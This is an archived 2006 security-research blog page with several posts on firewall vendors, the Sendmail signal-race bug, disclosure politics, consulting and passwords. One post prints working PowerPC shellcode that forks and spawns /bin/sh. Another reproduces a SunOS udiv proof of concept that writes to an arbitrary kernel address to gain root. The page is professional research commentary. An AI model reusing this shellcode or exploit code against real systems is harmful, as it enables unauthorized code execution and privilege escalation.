We Will Be Assimilated. Unless We Are Secure Computing.

Matasano Team | March 31st, 2006 | Filed Under: Industry Punditry

I’m a huge fan of these consolidation posts from Steinnon. It’s just got to be true that firewalls aren’t consolidated! There’s still 77 vendors in the space!

To prove Steinnon’s statement to myself, I sanity-checked his list, evaluating all the vendors and re-segmenting the industry (I don’t think Steinnon represents his list as a real industry analysis). And, with apologies to Frances McDormand, I’m not sure I agree with you a hunnert percent on your policework, there, Richard. Here’s what I found:

• There are 5 indie enterprise firewall vendors (if you don’t count Check Point as “indie” and you don’t include ISS). Their combined revenue is a rounding error relative to the Big 3 (Cisco, Juniper, and Check Point).
• 65 of Steinnon’s 77 firewall companies sell products you can actually buy. 3 of them sell products you can buy if you live in China. One of them is the number 1 security company!, and will kick your ass. Another 6 of them will return your phone call only if you are a vendor looking for an OEM deal.
• 15% of them are all-in-one appliances, like Fortinet, which is a new category in which content virus scanning is the flagship feature and “firewalling” is as relevant to the platform as it is to a Netgear prem box, which brings us to
• the 13% of the vendors who sell boxes that are customer prem connectivity devices first and firewalls second (or third), such as Efficient and 2Wire. This is a segment you enter with a cheaper DSL chipset, not a better security solution.
• Another 13% of that 65 is the web-app vendors. This is a real space, and it’s not consolidated, but nobody buys a Teros box instead of Check Point or Juniper. The same goes for Barracuda, who positions against IronPort, not Juniper.

I’ll post my analysis of the list later on this evening, but my read from Steinnon’s raw data is this: perimeter firewall is very much consolidated, and unless you’re an open-source product with traction, you’re kinda crazy for going after it.

I see a lot of value and potential in the “niche” space, but it’s unfortunately represented in the Steinnon 77 by an X.25 firewall (keeping Telenet safe from the evil forces of Dr. Dissector and NUAA!) and something called a “modem firewall”.

I’m biased here, but I’m pretty sure I’m biased in favor of Steinnon’s argument; I just don’t think the facts bear it out.

No Comments

On the value of clever defenses

Dino Dai Zovi | March 31st, 2006 | Filed Under: Uncategorized

My PowerPC shellcode actually forks before running the shell because I still want control of the parent process to clean up, exit the thread, or whatever. To do this compactly, both processes add $r4, which after calling fork() holds 1 in the parent and 0 in the child, to the register holding the last part of the “/bin/sh” string and exec that binary. That way, the child executes “/bin/sh”, while the parent tries to execute “/bin/si”, which fails and it continues executing the code below.

;;;
;;; VForking shellcode - Call vfork() and execute /bin/sh in child process.  
;;; In parent, we exec "/bin/si" ("/bin/sh" + 1), fail, and run the code that 
;;; follows the execve().
;;;
Lfork_execve_binsh:
 ;; call vfork (necessary to exec in threaded programs)
 li r30, 0x42ff
 srawi r0, r30, 8 
 .long 0x44ffff02
 .long 0x7c842008
 xor r31, r31, r31
 lis r30, 0x2f2f
 addi r30, r30, 0x7367
 add r30, r30, r4 ; In child, $r4 should be zero
 lis r29, 0x2f62
 addi r29, r29, 0x696e
 xor r28, r28, r28
 addi r27, r1, -12
 stmw r27, -12(r1) ; -12 is arbitrary null-eliding constant
 addi r4, r1, -12
 addi r3, r1, -4
 xor r5, r5, r5
 li r30, 30209
 srawi r0, r30, 9 ; r0 = 59
 .long 0x44ffff02 ; execve(path, argv, NULL)
Lparent:
;;; ...

A co-worker, who shall remain nameless, has implemented Advanced Negative-One Day Protection (TM) against me by creating a real /bin/si:

#!/bin/sh
logger -t F**KTARD "DDZ Shellcode Detector Activated"
/sbin/shutdown -h now "Security Alert: DDZ Shellcode Attempt"

Let’s see what happens when I modify my payload to add the return value of fork() to the string instead. Muihaha…(we hear the familiar “chwoung” of a mac booting in the background).

Moral of the story: Your defenses should be strong enough such that bragging about how funny they are does not render them useless.

1 Comment

Third Party Binary Patches

Dave G. | March 30th, 2006 | Filed Under: Disclosure, Industry Punditry

While it definitely isn’t a new phenomenon, third party patches for vulnerabilities is becoming an interesting way for security companies to build a low cost awareness campaign. We have now seen it twice for Internet Explorer, first with Ilfak’s WMF Hotfix. According to David Cowan’s blog, eEye and Determina have issued patches for the latest IE vulnerability.

Is this just a classic example of how smaller companies can move quickly to solve problems before larger ones can, only applied to the larger company’s own codebase? Binary patching someone else’s product puts you in a great situation:

1. Incredibly fast release time, because you dont need regression testing, why?
2. No accountability, you can basically say that your code may work or may cause extreme data corruption and it doesn’t matter because…
3. This wasn’t a bug in your code, you are just being a good neighbor.

If this practice gets widely accepted, could we see a world where security researchers stop co-ordinating with vendors and include binary patches in their advisories?

1 Comment

Under Lab Conditions, Mark Dowd Re-creates 1997

Matasano Team | March 24th, 2006 | Filed Under: Disclosure, New Findings

This is as far as I’d gotten before I gave up, hit “up up down down left right left right B A start” and asked some friends on AIM how the Sendmail signal problem is exploitable.

• Clue 1: jack@rapturesecurity posted a writeup, which gives us:
  1. In data-mode, while reading headers, Sendmail will log (calling sm_syslog()) when a line exceeds 32k.
  2. While reading from a client, Sendmail will receive SIGALRM if no data is received within an interval. Sendmail timers work like C++ exceptions, unwinding to a guard clause before the timed event.
  3. So, putting (1) and (2) together: you can get the sm_syslog() and the timeout to happen at the same time by sending the “last” byte of the header exactly when you expect the data timeout to fire.
  4. Jack says Sendmail then crashes in sm_syslog.
• Clue 2: Eric Allman posted to Bugtraq:

  It is an extremely subtle problem that involves making an alarm signal occur in a very small section of code as the result of a multi-minute timeout. The signal causes a longjmp that can leave a piece of code in an inconsistent state.

The rest of the details of the attack have probably already come out by the time you’re reading this post, or will very soon. Regardless of what Allman says, this is not a subtle bug. Sendmail timers work like exceptions.

Most of Allman’s Bugtraq message is actually useful (something about this advisory seems to have scrambled Gadi Evron’s brain). But it is Eric Allman writing about Sendmail security, and so we get this gem:

ISS explained it to us and told us that they had managed to craft an exploit in their lab, but frankly we don’t see how it can be practical. This literally requires nanosecond precision in the millisecond world of networking.

Yeah, because what’s happening here is that ISS has a state-of-the-art “lab” equipped with supercomputers and a time machine, not that Mark Dowd knows how to set a timer, multiply by 100,000, or write a loop. Then again, since SIGALRM-plus-longjmp has been a Sendmail idiom since the early ’90s (despite being literally the man-page example of what not to do with longjmp), maybe it just seems that way to Allman.

For those of you who missed the temp-file-race rennaissance of 1994: it is usually hard to trigger a race condition reliably. That’s why you attempt them over and over again until they work.

15 Comments

On “SendGate”

Dave G. | March 23rd, 2006 | Filed Under: Disclosure, New Findings

Gadi Evron over at SecuriTeam, jumped the gun with this inflammatory post about ISS’ recent Sendmail vulnerability. Some quotes:

They say it’s a remote code execution. They say it’s a race condition. No real data available to speak of. I can’t see how it’s remotely exploitable, but well, no details, remember? From what we can see it seems like a DoS. … After looking at the available data for 30 minutes (more or less), we know exactly what the vulnerabilities are. Exploiting them may not be that trivial if indeed possible, but there are most likely already exploits out there if it is. When will the first public POC be released? Your guess is as good as mine. Not to mention the silently patched memory leak. … SMTP and Sendmail by extension are critical for the Internet as an International Infrastructure. If this ends up being exploitable (no details, remember?) both ISS and Sendmail should look good and hard at the coming massive exploitation of Sendmail servers. … It took Sendmail a mounth to fix this. A mounth. A mounth!

It seems to me that in 30 minutes, you haven’t understood the vulnerability at all. A race condition lead to remote code execution. I could go on, but that’s not important. Here is what is important:

Sendmail Remote Signal Handling VulnerabilitySummary: ISS has shipped protection for a flaw X-Force has discovered in the Sendmail server software. By sending malicious data at certain time intervals, it is possible for a remote attacker to corrupt arbitrary stack memory and gain control of the affected host.

It is 2006. If the vendor and the research organization acknowledge the vulnerability exists, and it’s remote command execution, you wind up the patch machine. This vulnerability isn’t as simple to fix as many flaws, and while a month may be longer than Gadi likes, it is well within industry norms (especially given the amount of vendor co-ordination required for a sendmail release).If he had read the sendmail advisory, he could have (appropriately) scolded them for not-so-subtley downplaying the issue with words like ‘may’ and ‘theoretically’, ‘Risk: Medium’. It’s real. It’s nasty. Patch it. ‘Nuff said.

Tom posted this on Remote Signal Race Conditions. It references a similar vulnerability that affected wuftpd in 1997.

1 Comment

This Old Vulnerability: UMUL/UDIV

Matasano Team | March 23rd, 2006 | Filed Under: This Old Vulnerability

Vulnerability researchers have been increasingly focused on kernel level vulnerabilities. While a lot of progress has been made in the past couple of years, I thought it would be cool to dig up some really old kernel vulnerabilities. Oh look, here’s one now!

On this installment of This Old Vulnerability, we are going to examine a kernel vulnerability that affected SunOS 4.1 and 4.1.1 (as opposed to a new vulnerability in SunOS 4.1.x). Let’s see what CERT had to say about the Integer Division vulnerability we are going to examine today.

I.   Description
A security vulnerability exists in the integer
division on the SPARC architecture that can be
used to gain root privileges.

II.  Impact

Any user logged into the system can gain root
access.

Helpful as ever! Let’s ask Spaf via the Core mailing list. Spaf, I having a difficult time comprehending this CERT advisory, can you help?

Regarding the integer division problem. It’s not that difficult to comprehend. Just set up a divide instruction, and set it so the remainder is to be stored in any arbitrary address you want (you have to do this in assembler, although the % operator in C may let you do this…I dunno). Then divide appropriately chosen numbers. The instruction traps, the divide is emulated, the results are stored *in privileged mode* and control is passed back to the user. No problems! However, the address specified for the remainder may not be in the user’s memory space. Appropriate choice of values to be stored and locations to be stored into result in all sorts of fun results.

Thanks Spaf!

Finally, lets track this back to the source:

printf("enter address in hexn");
gets(buf);
sscanf(buf, "%x", &addr);
addr -= 32;

pp = (unsigned long *) addr;
printf("address is 0x%0.8xn", addr);

if (fork() == 0) {
asm("   sethi   %hi(_addr), %i4");
asm("   ld      [%i4+%lo(_addr)], %i4");
asm("   nop");
asm("   mov     %i4, %sp");
asm("   udiv    %i2, %i7, %i2");
asm("   nop");
exit(0);
}

Looks like the use of umul/udiv causes an attacker controllable value to be written into the address stored in %sp. Since umul/udiv were emulated instructions on the affected systems, I wonder how umul/udiv is handled on the sun4c ports of linux/*BSD. I suppose if you are still using a sun4c, you will stop attackers simply by boring them to death.

No Comments

FrSIRT pulls exploits from site

Window Snyder | March 22nd, 2006 | Filed Under: Disclosure, Industry Punditry

From the FrSIRT site:

In conformity with applicable French laws prohibiting Full-disclosure, the FrSIRT will no longer distribute exploits and PoCs on its public web site. Public exploits section has thus been definitively closed. Exploits and PoCs are available to FrSIRT VNS™ subscribers only.

Something tells me this is more about driving dollars to the FrSIRT service than conforming to the law that was passed in 2004.

Back in April of 2004 K-Otik Staff (now FrSIRT) posted to bugtraq:

A new anti-security law was voted yesterday in France, this law called LEN (loi pour la confiance dans l’économie numérique), the article 34 with his 323-3-1 says : “The fact, without legitimate reason, of holding, of offering, of yielding or of placing at the disposal equipment, instrument, a data-processing or program conceived or especially adapted to make the facts envisaged by articles 323-1 to 323-3 is punished sorrows planned respectively for the infringement itself or the infringement most severely repressed.” Translation : - having or distributing exploit code and/or detailed vulnerability information and/or information about hacking techniques, is ILLEGAL. - having or distributing hacking/security tools, scanners, pen testers, or technical white papers is ILLEGAL. - magazines and websites distributing security information about vulnerabilities or exploits are ILLEGAL. pathetic !

followed by:

Send us our “green cards” - thanks !

Guess they wont be needing those now that they’ve found a way to cash in on this law, two years later.

So what has French law taught us? Exploits are bad. The public should be protected from exploits or bad people will use them to do bad things. If K-Otik hosts a site that freely allows people to download exploits then they are bad, bad, bad.

Proof-of-concept code is good. Good security professionals that pay good money to belong to good clubs should have access to proof-of-concept code so they can use it to do good things. If K-Otik changes their name to FrSIRT (which sounds much more respectable) and calls exploits proof-of-concept code and sells them to “security professionals,” then they are offering the world a valuable service. Got it.

As a certain l0pht guy was fond of saying… “We’re not selling out, we’re cashing in.” If K-Otik/FrSIRT can turn an unreasonable French law into euros then good for them.

Articles on this here and here.

1 Comment

The Sendmail Bomb

Dave G. | March 22nd, 2006 | Filed Under: Disclosure, New Findings

ISS dropped an unholy advisory about a “Sendmail Remote Signal Handling” Vulnerability. Mark Dowd (Credited with finding the vulnerability) is a smart cookie. I will let Dino or someone else talk more about the technical details, but I would like to remind everyone if Tom’s This Old Vulnerability post on wuftpd which talked about Remote Signal Handling Vulnerabilities.

I am sure right now, there are dozens of people working on an exploit. I wish we had a betting pool on when the first one hits the mailing lists. I say Friday between 2 and 3pm.

1 Comment

nCircle on Consulting, or: Sorry, Dave, I Have To Quit

Thomas Ptacek | March 21st, 2006 | Filed Under: Industry Punditry, Matasano

Ok, I’m taking the bait on Byron Sonne’s nCircle blog rant on consultants. And, by “taking the bait”, I mean “using this as an excuse to vent graceless and unattractive sarcasm”. And an obvious caveat: we make money doing security consulting work while we get our product ready to launch.

First, let’s summarize.

1. Consultants cause enterprises to waste in-house talent, like the “single sign-on guru” trapped in helpdesk waiting for his shot at the big time.
2. There’s a conflict of interest, because consultants make more money with Windows, and sometimes their own company sells products.
3. Consultants suppress in-house education; why train employees when you can lease outside talent?
4. I don’t know what Sonne’s fourth point means.
5. Consultants don’t know the environment. That makes them less effective.
6. Did he mention that they suppresses in-house education? Also, they cost money.

Well, allow me to retort.

1. That guy in help desk? Probably not really a single sign-on guru. And if he is: ask him what he’s doing in helpdesk. “But you’d never know!”, says Byron. That’s the point: you don’t know. If the project needs to get done two weeks from tomorrow, you might pay to mitigate that risk. Meanwhile: that helpdesk guy’s not an expert on algorithmic complexity attacks on link-state routing protocols. I guess that person is stuck in custodial.
2. Your other problem with IT consultants is, when you ask them to pick your Chief Operating Officer, they only look at guys with Harvard MBAs.
3. A typical Global2k enterprise might manage a docket of 10-20 internal web applications that need to be audited before being deployed customer-facing, staffed with a team of 6 internal security auditors, running a relatively steady backlog of, say, at least 2 critical apps that are held up because nobody is available to audit them. Which one of those auditors should spend 2 weeks bringing themselves up to speed on MIPS assembly, QNX, and Fiberchannel-over-IP so that, on the off chance that a new SAN switch needs to be deployed, they can reverse engineer the appliance to find remote vulnerabilities? Ok, I admit it. They answer is, “they all should”. But you can’t pretend like the right answer makes any fucking business sense.
4. Because I perceived no coherent point #4 to rebut, I will take this placeholder point as an opportunity to make fun of Byron Sonne for using the word “dudette” in his post.
5. A new consultant doesn’t know the environment as well as a full-time engineer. That is one reason why you should have full-time engineers.
6. Security is Hard. Not, “reading all the way through TCP/IP Illustrated Volume 2 and understanding TCP fast and slow timers” hard; Really Quite Hard. There are respected security researchers whose whole practice revolves around applied compiler design —- are we in a terrible world because they don’t understand Jain’s congestion control work? Or, should I freak out and short the stock when I find a Fortune 500 which doesn’t have anyone on staff that can find a timing leak in a closed-source Diffie Hellman library?

Here’s my problem, and why I’m taking the bait: the reality is, for virtually all large enterprises, without contract security work, certain important pieces of infrastructure simply aren’t going to get tested. At least, not by the good guys.

Byron’s main problem (read his comment) seems to be that he feels like enterprises overpay for security help. Do they? How much should we charge, Byron?

1 Comment

Conventional wisdom on passwords, passwords1, p4ssw0rds, p4ss!w0rds

Dave G. | March 21st, 2006 | Filed Under: Uncategorized

Today was a passwordy day for me. First, slashdot had this article on Mac OS X’s approach on sudo vs. a root user. The basic gist is that on OS X (desktop), the default installation doesn’t have a root account with an interactive shell. Instead, ‘administrative users’ (think, the User of the machine), execute administrative commands via sudo.

In Mac OS X, the root account is disabled by default. The first user account created is added to the admin group and that user can use the sudo command to execute other commands as root. The conventional wisdom is that sudo is the most secure way to run root commands, but a closer look reveals a picture that is not so clear.

It doesn’t matter.

That felt good. Next!

From securitymetrics (which is absolutely worth subscribing to):

I happen to think that the conventional wisdom about password policies are completely wrong-headed — because (as you hinted at), frequent password-changes just annoy users, and because most users will default to easy passwords. (They also tend to stick the “required” digit at the end).

Passwords suck. It has gotten out of control. The number of passwords we all need as both corporate and home users pretty much guarantee that we are going to choose terrible passwords and then use them everywhere we go. And don’t get me started on password policies.

FYI, I have included tqbf’s password in an HTML comment.

1 Comment